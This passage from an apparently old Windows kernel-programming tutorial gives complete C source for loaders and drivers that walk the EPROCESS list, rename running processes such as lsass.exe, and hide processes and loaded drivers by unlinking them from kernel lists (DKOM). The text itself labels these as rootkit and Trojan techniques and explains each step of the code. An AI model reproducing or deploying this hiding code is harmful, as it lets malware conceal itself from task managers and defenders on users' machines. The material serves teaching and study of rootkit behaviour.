This is because the previous structures flink will point to the next structures flink. The next EPROCESS structure for smss points to 81fs5680 and its flink is at 81fa5720. The Flink of System thus has a value of 81fa5720. If you look at the Blink of System, it will point to the flink of System Idle Process. Thus we can move in either direction forwards or backwards.

 

The only problem may be that you have to tell remind yourself that the Flink and Blink should have pointed to the start of the EPROCESS structures, not to the Flink members. Thus given any EPROCESS structure we can move forwards or backwards in an endless loop. We hope the diagrams help clarify everything.

 

r.c

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

struct process *proc;

int i,startpid;

proc= (struct process *)PsGetCurrentProcess();

startpid = proc->pid;

while (1)

{

DbgPrint("%s:%d",(char *)proc+508,proc->pid);

proc = (struct process *)( (char *)proc->Flink - 160);

if ( startpid == proc->pid)

break;

}

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

 

In the above program we would like to print out a list of all processes running on our machine as well as their pid. We store the current processes pid in the variable startpid. We know that the linked list of EPRCOESS structures is circular. Thus at the end of the while loop we check with the startpid variable which we do not change at all, it is equal to the pid member, we have come a full circle and quit out of the loop. We check the pid member after changing the value of the proc variable. 

 

y.exe:632

:0

System:8

smss.exe:160

 

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,pid,len;char arr[100];

void main(int argc, char **argv)

{

pid = atoi(argv[1]);

len = strlen(argv[2]);

memcpy(arr,&pid,4);

strcpy(arr+4,argv[2]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

printf("%d\n",GetCurrentProcessId());

DeviceIoControl(g,2,(void *)arr,4+len+1,0,0,&b,0);

}

 

y 244 vijay.exe

 

The above program will now simply allow us to rename any program that is displayed in the task manager. As before we will pass the first parameter as the pid of the program whose name we want to change. Then we pass the name of the program. As before we store the first parameter in the variable pid and we then find the length of the new program name and store that in the variable len.

 

We have to pass the pid and string to our device driver. We have an array arr in which we use memcpy to copy the four bytes of pid into arr. The syntax of function memcpy is destination memory address, source memory address and number of bytes to copy. We then use the function strcpy to copy the entire name of the new program passed as argv[2], four bytes from the start of the arr array.

 

The strcpy function also starts with destination memory  location and then the source. Thus our array arr starts with four bytes of the pid followed by the null terminated string. The third parameter of the function DeviceIoControl which is the length of data that we are passing contains 4 for the pid, len which is the length of the string and 1 for the null at the end of the string, which strlen does not consider. 

 

In the device driver program we will extract these two values.

 

r.c

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

struct process *proc;

int i,pid;

long *inputBuffer;

char *p;

inputBuffer = (long *)Irp->AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

p = (char *)inputBuffer;

p = p + 4;

proc= (struct process *)PsGetCurrentProcess();

while (1)

{

if ( pid == proc->pid)

break;

proc = (struct process *)( (char *)proc->Flink - 160);

}

DbgPrint("%s:%d",(char *)proc+508,proc->pid);

strcpy((char *)proc+508,p);

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

 

We extract the long at the start of our inputBuffer like we did before. We then set a pointer to char p to this inputBuffer. We increase it by 4 so that we now point to the start of the string which is our new program name.

 

In the while loop we loop though the entire link list as before and quit out when the current pid is that which is passed by our user land program. Thus when we quit out of our indefinite while loop, the proc variable points to the EPROCESS structure of the program whose name we want to change.

 

All that we now do is know that the name of the program begins at 508 bytes from the start of the EPROCESS structure. We copy the string passed to us over this location. We have done no error checks at all and if the new name is larger than the old name god help you as we are overwriting ring 0 memory and the machine is sure to go kaput.

 

When we ran the program, the pid of 244 is lsass.exe and when we ran the task manager it had changed to vijay.exe.

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,pid;

void main(int argc, char **argv)

{

pid = atoi(argv[1]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

printf("g=%x\n",g);

printf("%d\n",GetCurrentProcessId());

DeviceIoControl(g,2,(void *)&pid,4,0,0,&b,0);

}

 

All that the program y.c does is takes the pid of the program as argv[1] and passes it on to the device driver.

 

r.c

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

struct process *proc;

int i,pid;

long *inputBuffer;

inputBuffer = (long *)Irp->AssociatedIrp.SystemBuffer;

pid = *inputBuffer;

proc= (struct process *)PsGetCurrentProcess();

while (1)

{

if ( pid == proc->pid)

break;

proc = (struct process *)( (char *)proc->Flink - 160);

}

*((long *) proc->Blink) = (long) proc->Flink;

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;   

}

 

In r.c we store the pid passed in the pid variable and quit out of the loop as before when the EPROCESS structure represents the pid of the program we want to hide. The task manager calls some API that will read the above link list. This code reads the link list using the Flink member and not the Blink member. The member proc->Blink points to the LIST_ENTRY structure of the previous member. Once again Blink points to the Flink member and not the Blink member of the previous EPROCESS structure and Flink points to the next EPROCESS structure.

 

Thus when we do a * on proc->Blink, we are changing the Flink member of the previous EPROCESS structure. This points to us. The value proc->Flink points to the next EPROCESS structure. So all that we need to do is set the previous EPROCESS structures Flink member to the next one and thus we remove our self’s from the forward link list. Anyone reading us using the Blink member will yet find us. Image the consequences of what we have done if we were a Trojan. Anyone using task manager or such a program will not know of our existence.

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,len;char arr[100];

void main(int argc, char **argv)

{

strcpy(arr,argv[1]);

len = strlen(argv[1]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

DeviceIoControl(g,2,(void *)arr,len+1,0,0,&b,0);

}

 

Now we want to hide a program by name and hence we will pass the name of program as the first parameter. The above y.c program simply represents a past program.

 

r.c

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

struct process *proc;

char *inputBuffer;

inputBuffer = (char *)Irp->AssociatedIrp.SystemBuffer;

proc= (struct process *)PsGetCurrentProcess();

while (1)

{

if ( strcmp(inputBuffer,(char *)proc + 508) == 0)

break;

proc = (struct process *)( (char *)proc->Flink - 160);

}

*((long *)proc->Blink) = (long) proc->Flink;

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

 

We have not made many changes to the program r.c. The variable inputBuffer is now of type char *. We know that the name of the program is stored 508 bytes from the start of the EPROCESS structure.

 

Thus we use function strcmp to compare the  strings stored at inputBuffer which represents the name of the program we want to hide and  EPROCESS + 508 the current processes name. When function strcmp returns a zero, we have found a match and thus quit the loop.

 

The rest of the code remains the same as before.

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b;

void main(int argc, char **argv)

{

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

}

 

In the next set of programs we will deal with hiding device drivers instead of process. Yes you read us right, we will hide entire devices from windows. The program Device tree will come back and tell us that our device driver does not exist. Our program y.c is much smaller as we do not need to call any code in our device driver other than the entry function DriverEntry.

 

r.c

#include <ntddk.h>

#pragma pack(1)

struct module

{

LIST_ENTRY plist;

long unknown[4];

long base;

long start;

long unk1;

UNICODE_STRING path;

UNICODE_STRING name;

};

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

struct module *curr,*us;

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

curr = *((struct module**)((long)d + 0x14));

DbgPrint("DriverSection=%x curr=%x name=%S",d->DriverSection,curr,d->DriverName.Buffer);

us = curr ;

while ((struct module *)curr->plist.Flink != us)

{

DbgPrint("curr=%x Flink=%x Blink=%x",curr,curr->plist.Flink,curr->plist.Blink);

DbgPrint("start=%x DriverEntry=%x unk1=%x base=%x",curr->start,DriverEntry,curr->unk1,curr->base);

if (curr->unk1 != 0x00000000 )

DbgPrint("%S::%S\n", curr->path.Buffer,curr->name.Buffer);

curr =  (struct module *)curr->plist.Flink;

}

return STATUS_SUCCESS;

}

 

DriverSection=81b98808 curr=81b98808 name=\Driver\vijay???

curr=81ea9c88 Flink=8046e8f0 Blink=81b36a28

start=eb77901d DriverEntry=eb77901d unk1=5000 base=eb778000

\??\C:\driver1\vijay.sys::vijay.sys

curr=8046e8f0 Flink=82059248 Blink=81ea9c88

start=0 DriverEntry=eb77901d unk1=0 base=0

curr=82059248 Flink=820591a8 Blink=8046e8f0

start=8040d230 DriverEntry=eb77901d unk1=1a5540 base=80400000

\WINNT\System32\ntoskrnl.exe?????????????????A???????????????A???????????????A??::ntoskrnl.exe

 

In the r.c device driver, all our code resides in the entry point function. The first parameter to the DriverEntry function is a pointer to structure DRIVER_ENTRY that is well defined in the header file for all but one member DriverSection. This member has a type void *, that tells us nothing about the data type it points to.

 

We print out the value of this pointer and it comes to 81b98808, which is the same if we add 0x14 to the value of the parameter d and assume that a pointer to pointer to a structure that looks like module is stored there. The DriverSection member points to another structure that links all device drivers together.

 

This undocumented structure module details are available on the net as Microsoft for some reason likes hiding stuff from us. We have for the momemt displayed only some members, the rest we will do later. The variable us is set to value of curr and now we move into a loop. The first member of our structure is the by now familiar LIST_ENTRY member.

 

This structure has two members Flink and Blink which in turn point to the start of similar module structure. As the LIST_ENTRY member is the first, they point to the start of such structures unlike earlier where they pointed to the middle of the EPROCESS structure.

 

Lets start with second device driver, its curr value is 8046e8f0, which tells us where the module structure starts in memory. The Flink member points to the next module structure which is 82059248. This is value of curr for the third device driver. The Blink member of the second device driver has a value of 81ea9c88 which is the value of curr of the first device driver vijay.sys.

 

All LIST_ENTRY structures are recursive and hence at the start of the while loop, we store in value of curr in us and keep looping till the value of Flink becomes us, we then know that we have come a full circle. At the end of the while loop we set the value of curr to Flink so that we print the details of the next device driver. We also print the full path name and name of the device driver.

 

The start member of the module structure and the DriverEntry value will be the same as this is where our device driver code will be executed. The other members we will come to later. The full path name contains two ?? which we see later when we show you another way of loading device drivers.

 

There is no name present of the unl1 variable is 0. If we do not use the if statement, we get a blue screen of death. This is how we use the double linked list to display all the device driver. We will later on display all the members of the two structures, DRIVER_OBJECT and module to give us the same information as the program Device Tree.

 

y.c

#include <windows.h>

SC_HANDLE m,s;HANDLE g;long b,len;char arr[100];

void main(int argc, char **argv)

{

strcpy(arr,argv[1]);

len = strlen(argv[1]);

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,"C:\\driver1\\vijay.sys",0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\aaa",GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

DeviceIoControl(g,2,(void *)arr,len,0,0,&b,0);

}

 

In the next program we plan to hide a device driver as promised. The y.c program does not change at all and we have copied one of the earlier ones. The only change is that the size of our buffer send does not consider the null at the end of the string. We are passing the actual number of bytes.

 

r.c

#include <ntddk.h>

#pragma pack(1)

struct module

{

LIST_ENTRY plist;

long unknown[4];

long base;

long start;

long unk1;

UNICODE_STRING path;

UNICODE_STRING name;

};

PDRIVER_OBJECT  gd;

NTSTATUS abcDevice(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

char *inputBuffer;

IO_STACK_LOCATION *irpStack;

int inputBufferLength;

ANSI_STRING AnsiDriverName;

UNICODE_STRING UnicodeDriverName;

struct module *curr,*us;

irpStack = IoGetCurrentIrpStackLocation (Irp);

inputBuffer = (char *)Irp->AssociatedIrp.SystemBuffer;

inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

DbgPrint("Name=%s:Length=%d",inputBuffer,inputBufferLength);

AnsiDriverName.Length = (USHORT)inputBufferLength;

AnsiDriverName.MaximumLength = (USHORT)inputBufferLength;

AnsiDriverName.Buffer = (PCHAR)inputBuffer;

RtlAnsiStringToUnicodeString(&UnicodeDriverName,&AnsiDriverName,TRUE);

curr = *((struct module**)((long)gd + 0x14));

us = curr ;

while ((struct module *)curr->plist.Flink != us)

{

if (curr->unk1 != 0x00000000 )

{

int i = RtlCompareUnicodeString(&UnicodeDriverName, &(curr->name), FALSE);

DbgPrint("%S::%S i=%d", curr->name.Buffer,UnicodeDriverName.Buffer,i);

if (RtlCompareUnicodeString(&UnicodeDriverName, &(curr->name), FALSE) == 0)

{

*((long *)curr->plist.Blink) = (long) curr->plist.Flink;

curr->plist.Flink->Blink = curr->plist.Blink;

break;

}

}

curr =  (struct module *)curr->plist.Flink;

}

IoCompleteRequest(Irp,IO_NO_INCREMENT);

return STATUS_SUCCESS;  

}

NTSTATUS abcCreate(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{

return STATUS_SUCCESS;  

}

NTSTATUS DriverEntry(PDRIVER_OBJECT  d,PUNICODE_STRING p)

{

UNICODE_STRING devicename,filename;

PDEVICE_OBJECT r;

gd = d;

DbgPrint("DriverObject");

RtlInitUnicodeString(&devicename,L"\\Device\\bbb");

RtlInitUnicodeString(&filename,L"\\DosDevices\\aaa");

IoCreateDevice(d,0,&devicename,0,0,0,&r);

IoCreateSymbolicLink (&filename,&devicename);

d->MajorFunction[IRP_MJ_CREATE]=abcCreate;

d->MajorFunction[IRP_MJ_DEVICE_CONTROL]=abcDevice;

return STATUS_SUCCESS;

}

 

In the device driver code, we simply ignore the DriverEntry function and move on to the abcDevice function. We use the good old IoGetCurrentIrpStackLocation  to give us the IO_STACK_LOCATION pointer. This pointer lets us access a union Parameters which has another structure DeviceIoControl which finally has a member InputBufferLength.

 

This is the length of data we have send across in the input buffer. We use the variable inputBufferLength to store this value. The only difference between a UNICODE_STRING and ANSI_STRING is that the Buffer member in one is char * and in the other it is short *. We set the Length and MaximumLength members to the length of the string passed from userland. The Buffer variable is set to the variable inputBuffer.

 

We then call the function RtlAnsiStringToUnicodeString passing it the address of two structures, one unicode, then other asci. This function converts the Asci string into unicode for us. We then copy the code from the earlier program and we move though the entire linked list of device drivers.

 

The only change is that we add one more function RtlCompareUnicodeString that compares two unicode strings. We pass the addresses of two UNICODE_STRING structures and this function returns a zero if the string are the same. Works like strcmp for unicode strings. Now that we have a module structure for our device driver, we now need to remove this device driver from the list.

 

Remember in a double link list we have to make two changes to remove ourselves as two structures point to us. The member curr is a pointer to ourselves, and curr->plist.Blink points to the start of the previous structure. We set this to curr->plist.Flink which points to the start of the next structure. Thus if anyone uses the Flink member to move though the linked list we will not exist as the previous Flink which pointed to us is now pointing to the next structure.

 

If we do not cast the value to a long *. We will be overwriting 8 bytes as a Blink data type is 8 bytes long. Also for a LIST_ENTRY structure the first member is Flink and thus we are only changing the value of Flink. In the second line curr->plist.Flink points to the next device driver structure. curr->plist.Flink->Blink is the member that points back to us. We now need to change this member so that it points to the device drive before us.

 

That value is stored in curr->plist.Blink which always points to the previous module structure. This is how we get the next device drivers structure’s  Blink to point to the previous device drivers Blink avoiding us totally.

 

 

The only problem with the program is that it does not work with device tree which uses some other method to list device drivers. Maybe they know that this is a method rootkits use. So we went into the Windows Resource Kit and at the URL http://www.dynawell.com/support/ResKit/download/wntdrivers.asp amongst others. This is a program written by Microsoft and we have been able to hide ourselves from this program.

 

 

A rootkit is a software package that assists hackers in gaining unauthorized access to a system

 

Cont….

Back to the main page